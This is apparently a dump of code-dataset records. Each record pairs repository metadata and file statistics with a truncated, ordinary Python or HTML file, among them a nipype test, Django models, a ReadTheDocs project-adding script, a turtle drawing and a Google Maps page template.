0
0
0
1
0
0
0
0
0
0
0
0
1
f97fbe335253abd1c162984e55c6b327d96d5f26
1,441
py
Python
nipype/interfaces/ants/tests/test_auto_AffineInitializer.py
dPys/nipype
75030b29297808e7c9a9e91b411b685154dff60b
[ "Apache-2.0" ]
1
2019-03-25T14:11:18.000Z
2019-03-25T14:11:18.000Z
nipype/interfaces/ants/tests/test_auto_AffineInitializer.py
dPys/nipype
75030b29297808e7c9a9e91b411b685154dff60b
[ "Apache-2.0" ]
1
2017-01-05T01:24:33.000Z
2017-01-05T01:24:33.000Z
nipype/interfaces/ants/tests/test_auto_AffineInitializer.py
wtriplett/nipype
388f140fceaf55438a987e9cdfa2a8e995428afd
[ "Apache-2.0" ]
1
2020-12-16T16:36:48.000Z
2020-12-16T16:36:48.000Z
# AUTO-GENERATED by tools/checkspecs.py - DO NOT EDIT from ..utils import AffineInitializer def test_AffineInitializer_inputs(): input_map = dict( args=dict(argstr="%s",), dimension=dict(argstr="%s", position=0, usedefault=True,), environ=dict(nohash=True, usedefault=True,), fixed_...
43.666667
85
0.674532
178
1,441
5.353933
0.38764
0.094439
0.057712
0.066107
0.357817
0.272823
0.222455
0.222455
0.222455
0.115425
0
0.006734
0.175573
1,441
32
86
45.03125
0.795455
0.035392
0
0.08
1
0
0.012968
0
0
0
0
0
0.08
1
0.08
false
0
0.04
0
0.12
0
0
0
0
null
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
1
0
0
0
null
0
0
0
0
0
0
0
0
0
0
0
0
0
1
f98104422c581711861dd305fec99e35cae637d3
1,390
py
Python
osspeak/recognition/cache.py
OSSpeak/OSSpeak
327c38a37684165f87bf8d76ab2ca135b43b8ab7
[ "MIT" ]
1
2020-03-17T10:24:41.000Z
2020-03-17T10:24:41.000Z
osspeak/recognition/cache.py
OSSpeak/OSSpeak
327c38a37684165f87bf8d76ab2ca135b43b8ab7
[ "MIT" ]
12
2016-09-28T05:16:00.000Z
2020-11-27T22:32:40.000Z
osspeak/recognition/cache.py
OSSpeak/OSSpeak
327c38a37684165f87bf8d76ab2ca135b43b8ab7
[ "MIT" ]
null
null
null
import json import os import importlib import settings def to_json_string(obj): return json.dumps(obj, cls=SimpleJsonEncoder) def from_text(text: str): return json.loads(text, object_hook=object_decoder) def delete_cache(): try: os.remove(settings.settings['cache']) except FileNotFoundError: ...
26.226415
75
0.63741
172
1,390
4.715116
0.377907
0.036991
0.077682
0.039457
0.091245
0.091245
0.091245
0
0
0
0
0.00096
0.25036
1,390
53
76
26.226415
0.777351
0
0
0.162791
0
0
0.074047
0
0
0
0
0
0
1
0.186047
false
0.046512
0.116279
0.069767
0.511628
0
0
0
0
null
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
null
0
0
0
0
0
0
0
0
0
0
1
0
0
1
f982779ef6b7dc1ab437aa8fb2eabf5a60e42825
1,457
py
Python
game_event.py
xaskasdf/baseGame
8077c74d5dd6f50dba327d4594e57fdc5643dd2c
[ "Unlicense" ]
null
null
null
game_event.py
xaskasdf/baseGame
8077c74d5dd6f50dba327d4594e57fdc5643dd2c
[ "Unlicense" ]
null
null
null
game_event.py
xaskasdf/baseGame
8077c74d5dd6f50dba327d4594e57fdc5643dd2c
[ "Unlicense" ]
null
null
null
from abc import ABC, abstractmethod from layers.baseGame.gameError.game_error import GameError class GameEvent(ABC): """ Defines games events, these are the events that affects globally the gameplay. These aren't the events that trigger movements or anything like that. """ invoker = "...
31.673913
106
0.593686
182
1,457
4.697802
0.538462
0.038596
0.030409
0
0
0
0
0
0
0
0
0.002099
0.345916
1,457
45
107
32.377778
0.895068
0.441318
0
0.181818
0
0
0.055142
0
0
0
0
0
0
1
0.090909
false
0.090909
0.090909
0
0.409091
0
0
0
0
null
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
null
0
0
0
0
0
0
0
1
0
0
0
0
0
1
f98aa1375a3635f933db6ba5555ab332f4018e39
9,619
py
Python
GEOS_Util/coupled_diagnostics/g5lib/dset.py
GEOS-ESM/GMAO_Shared
022af23abbc7883891006b57379be96d9a50df23
[ "NASA-1.3", "ECL-2.0", "Apache-2.0" ]
1
2020-02-01T17:36:53.000Z
2020-02-01T17:36:53.000Z
GEOS_Util/coupled_diagnostics/g5lib/dset.py
GEOS-ESM/GMAO_Shared
022af23abbc7883891006b57379be96d9a50df23
[ "NASA-1.3", "ECL-2.0", "Apache-2.0" ]
105
2019-07-08T19:27:23.000Z
2022-03-22T02:12:16.000Z
GEOS_Util/coupled_diagnostics/g5lib/dset.py
GEOS-ESM/GMAO_Shared
022af23abbc7883891006b57379be96d9a50df23
[ "NASA-1.3", "ECL-2.0", "Apache-2.0" ]
10
2019-07-05T18:00:44.000Z
2022-03-11T16:26:29.000Z
import scipy as sp from numpy.core.records import fromarrays import netCDF4 as nc from grid import Grid from field import Field from domain import Domain from utils import scalar2slice class Dset(object): """ Base class for data set subclasses flist - list of files vlist - either list of variables, ...
30.633758
107
0.550993
1,242
9,619
4.224638
0.189211
0.030875
0.014866
0.018296
0.459691
0.423861
0.40061
0.382314
0.345721
0.339813
0
0.010632
0.325294
9,619
313
108
30.731629
0.797843
0.004782
0
0.361111
0
0
0.034653
0
0
0
0
0
0
0
null
null
0
0.038889
null
null
0.066667
0
0
0
null
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
null
0
0
0
0
1
0
0
0
0
0
0
0
0
1
f9926a1ac60cb9df6faa409ca5d880a140a17046
4,374
py
Python
contrib/add-project.py
akien-mga/readthedocs.org
655bfd53f6fd3a6ea4c989354fd0f89a753d4369
[ "MIT" ]
19
2018-03-28T12:28:35.000Z
2022-02-14T20:09:42.000Z
contrib/add-project.py
akien-mga/readthedocs.org
655bfd53f6fd3a6ea4c989354fd0f89a753d4369
[ "MIT" ]
274
2017-10-10T07:59:04.000Z
2022-03-12T00:56:03.000Z
contrib/add-project.py
akien-mga/readthedocs.org
655bfd53f6fd3a6ea4c989354fd0f89a753d4369
[ "MIT" ]
13
2018-04-03T09:49:50.000Z
2021-04-18T22:04:15.000Z
""" Script to add a Git project as cloned from a Github repository to ReadTheDocs. Invoke from the checkout. """ __requires__ = ['requests-toolbelt', 'autocommand', 'keyring'] import os import getpass import re import urllib.parse import subprocess import pathlib import autocommand import keyring from requests_tool...
25.881657
77
0.625514
533
4,374
5.033771
0.266417
0.016772
0.01789
0.016772
0.075289
0.054417
0.032054
0.032054
0.032054
0
0
0.001202
0.23914
4,374
168
78
26.035714
0.804988
0.188615
0
0.168224
0
0
0.123863
0.037863
0
0
0
0
0
1
0.093458
false
0.084112
0.084112
0.028037
0.252336
0
0
0
0
null
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
null
0
0
0
0
0
0
0
1
0
0
0
0
0
1
f992b122d4fd5d93d98e9d0914cc69ed62de904e
1,217
py
Python
google logo.py
shreyamalogi/google-logo
a8160447ec88886733d8f0d56e29e63f64707e32
[ "MIT" ]
4
2021-10-02T18:06:08.000Z
2022-01-25T07:24:55.000Z
google logo.py
shreyamalogi/google-logo
a8160447ec88886733d8f0d56e29e63f64707e32
[ "MIT" ]
null
null
null
google logo.py
shreyamalogi/google-logo
a8160447ec88886733d8f0d56e29e63f64707e32
[ "MIT" ]
1
2022-02-13T11:17:31.000Z
2022-02-13T11:17:31.000Z
import turtle t = turtle.Turtle() turtle.bgcolor("black") # t.speed() t.color("#4285F4", "#4285F4") t.pensize(3) t.forward(120) t.right(90) t.circle(-150, 50) t.color("#34A853") t.circle(-150, 100) t.color("#FBBC05") t.circle(-150, 60) t.color("#EA4335", "#EA4335") t.begin_fill() t.circle(-150, 100) t...
16.445946
30
0.63106
226
1,217
3.362832
0.176991
0.142105
0.178947
0.201316
0.653947
0.513158
0.473684
0.463158
0.381579
0.381579
0
0.183985
0.138044
1,217
74
31
16.445946
0.540515
0.007395
0
0.671429
0
0
0.094356
0
0
0
0
0
0
1
0
false
0
0.014286
0
0.014286
0
0
0
0
null
0
0
1
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
null
0
0
0
0
0
0
0
0
0
0
0
0
0
1
f9941c9073e60624f84206c300c23c5232bc5ed6
287
py
Python
core/forms.py
fahmirevo/saw
eac5b29a9286dd7f547a6f681cc354bb0d807908
[ "MIT" ]
null
null
null
core/forms.py
fahmirevo/saw
eac5b29a9286dd7f547a6f681cc354bb0d807908
[ "MIT" ]
null
null
null
core/forms.py
fahmirevo/saw
eac5b29a9286dd7f547a6f681cc354bb0d807908
[ "MIT" ]
null
null
null
from django import forms class MainForm(forms.Form): case = forms.ChoiceField( label='case', choices=( (0, "Tomcat Web Developer"), (1, "VSCODE Web Developer"), (2, "Mobile Developer"), (3, "Non-IT"), ) )
20.5
40
0.484321
28
287
4.964286
0.785714
0.172662
0
0
0
0
0
0
0
0
0
0.022346
0.376307
287
13
41
22.076923
0.75419
0
0
0
0
0
0.229965
0
0
0
0
0
0
1
0
false
0
0.090909
0
0.272727
0
1
0
0
null
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
null
0
0
0
0
0
0
0
0
0
0
0
0
0
1
f99a11f04a221f36d88b7f5c090e1df0fda77ad5
680
py
Python
kspilot/generalTasks.py
mkalte666/OldStuffIFound
1c7761cff51c0b719828fc861e896f196dcbc16a
[ "MIT" ]
null
null
null
kspilot/generalTasks.py
mkalte666/OldStuffIFound
1c7761cff51c0b719828fc861e896f196dcbc16a
[ "MIT" ]
null
null
null
kspilot/generalTasks.py
mkalte666/OldStuffIFound
1c7761cff51c0b719828fc861e896f196dcbc16a
[ "MIT" ]
null
null
null
from FlightManager import Task import numpy class SimpleCountdown( Task ): def activate(self, manager): Task.activate(self,manager) print("10 Seconds til Launch!") def tick(self, manager): if (manager.ticks-self.tickActivated)*manager.ticklength >= 10: manager.vessel.s...
34
75
0.658824
74
680
5.959459
0.5
0.170068
0.086168
0.081633
0
0
0
0
0
0
0
0.013619
0.244118
680
20
76
34
0.844358
0
0
0.117647
0
0
0.048458
0
0
0
0
0
0
1
0.176471
false
0
0.117647
0
0.529412
0.117647
0
0
0
null
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
null
0
0
0
0
0
0
0
0
0
0
1
0
0
1
f9ae796ae2e2c3e492e8077e9739446e8f837977
635
py
Python
setup.py
Muzer/smartbot
c18daac6b066a7d368ef3dd0848a21c16a076604
[ "MIT" ]
null
null
null
setup.py
Muzer/smartbot
c18daac6b066a7d368ef3dd0848a21c16a076604
[ "MIT" ]
11
2015-01-01T21:34:05.000Z
2015-06-03T11:13:44.000Z
setup.py
Muzer/smartbot
c18daac6b066a7d368ef3dd0848a21c16a076604
[ "MIT" ]
null
null
null
#!/usr/bin/env python3 from setuptools import find_packages, setup setup( name='smartbot', version='1.0.0', description='A supposedly smart IRC bot.', url='https://github.com/tomleese/smartbot', author='Tom Leese', author_email='inbox@tomleese.me.uk', packages=find_packages(exclude=['tests...
22.678571
59
0.582677
68
635
5.338235
0.808824
0.066116
0
0
0
0
0
0
0
0
0
0.014799
0.255118
635
27
60
23.518519
0.752643
0.033071
0
0
0
0
0.378467
0
0
0
0
0
0
1
0
true
0
0.041667
0
0.041667
0
0
0
0
null
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
null
0
0
0
0
0
0
1
0
0
0
0
0
0
1
f9b1eda63ebda173a590a6e25e21cdba61638d0a
5,378
py
Python
mysite/foodfficient/models.py
repacheco1/CINS465-Final_Project
c42c44020cc8df615f860555a9ab563deae22fe3
[ "MIT" ]
null
null
null
mysite/foodfficient/models.py
repacheco1/CINS465-Final_Project
c42c44020cc8df615f860555a9ab563deae22fe3
[ "MIT" ]
null
null
null
mysite/foodfficient/models.py
repacheco1/CINS465-Final_Project
c42c44020cc8df615f860555a9ab563deae22fe3
[ "MIT" ]
null
null
null
from django.db import models from django.contrib.auth.models import User from django.db.models.signals import post_save from django.dispatch import receiver from django.db.models.signals import pre_save from django.utils.text import slugify from .recipe_utils import CUISINE_CHOICES, DIET_CHOICES from multiselectfield i...
34.474359
97
0.716437
692
5,378
5.375723
0.183526
0.031452
0.029032
0.03871
0.590323
0.512366
0.472849
0.343817
0.321774
0.298118
0
0.009178
0.169394
5,378
155
98
34.696774
0.823595
0.036073
0
0.386555
0
0
0.028014
0
0
0
0
0
0
1
0.134454
false
0
0.067227
0.058824
0.647059
0
0
0
0
null
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
null
0
0
0
0
0
0
0
0
0
0
1
0
0
1
f9c5e79e294cc453cac105ed6d8b2e28361d7c75
8,907
py
Python
qrainbowstyle/widgets/GoogleMapsWidget/GoogleMapsHtml.py
desty2k/QDarkStyleSheet
4a8cd42acf5e9e7fce5fabbe37b1f97d89d203b2
[ "CC-BY-4.0" ]
10
2020-12-10T08:11:16.000Z
2022-03-30T09:29:34.000Z
qrainbowstyle/widgets/GoogleMapsWidget/GoogleMapsHtml.py
desty2k/QDarkStyleSheet
4a8cd42acf5e9e7fce5fabbe37b1f97d89d203b2
[ "CC-BY-4.0" ]
3
2021-05-21T15:04:10.000Z
2022-02-13T20:26:59.000Z
qrainbowstyle/widgets/GoogleMapsWidget/GoogleMapsHtml.py
desty2k/QDarkStyleSheet
4a8cd42acf5e9e7fce5fabbe37b1f97d89d203b2
[ "CC-BY-4.0" ]
2
2021-02-27T16:08:47.000Z
2022-02-22T15:05:10.000Z
html = """ <!DOCTYPE html> <html> <head> <script src="qrc:///qtwebchannel/qwebchannel.js"></script> <meta name="viewport" content="initial-scale=1.0, user-scalable=no"> <meta charset="utf-8"> <style> #map { height: 100%; } html, body { height: 100%; ...
28.366242
188
0.548221
758
8,907
6.352243
0.283641
0.036552
0.040498
0.064798
0.230737
0.1973
0.14621
0.116926
0.108204
0.099273
0
0.009717
0.318289
8,907
313
189
28.456869
0.783267
0
0
0.147482
0
0.017986
0.998428
0.321208
0
0
0
0
0
1
0
false
0
0
0
0.007194
0
0
0
0
null
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
1
0
null
0
0
0
0
0
0
0
0
0
0
0
0
0
1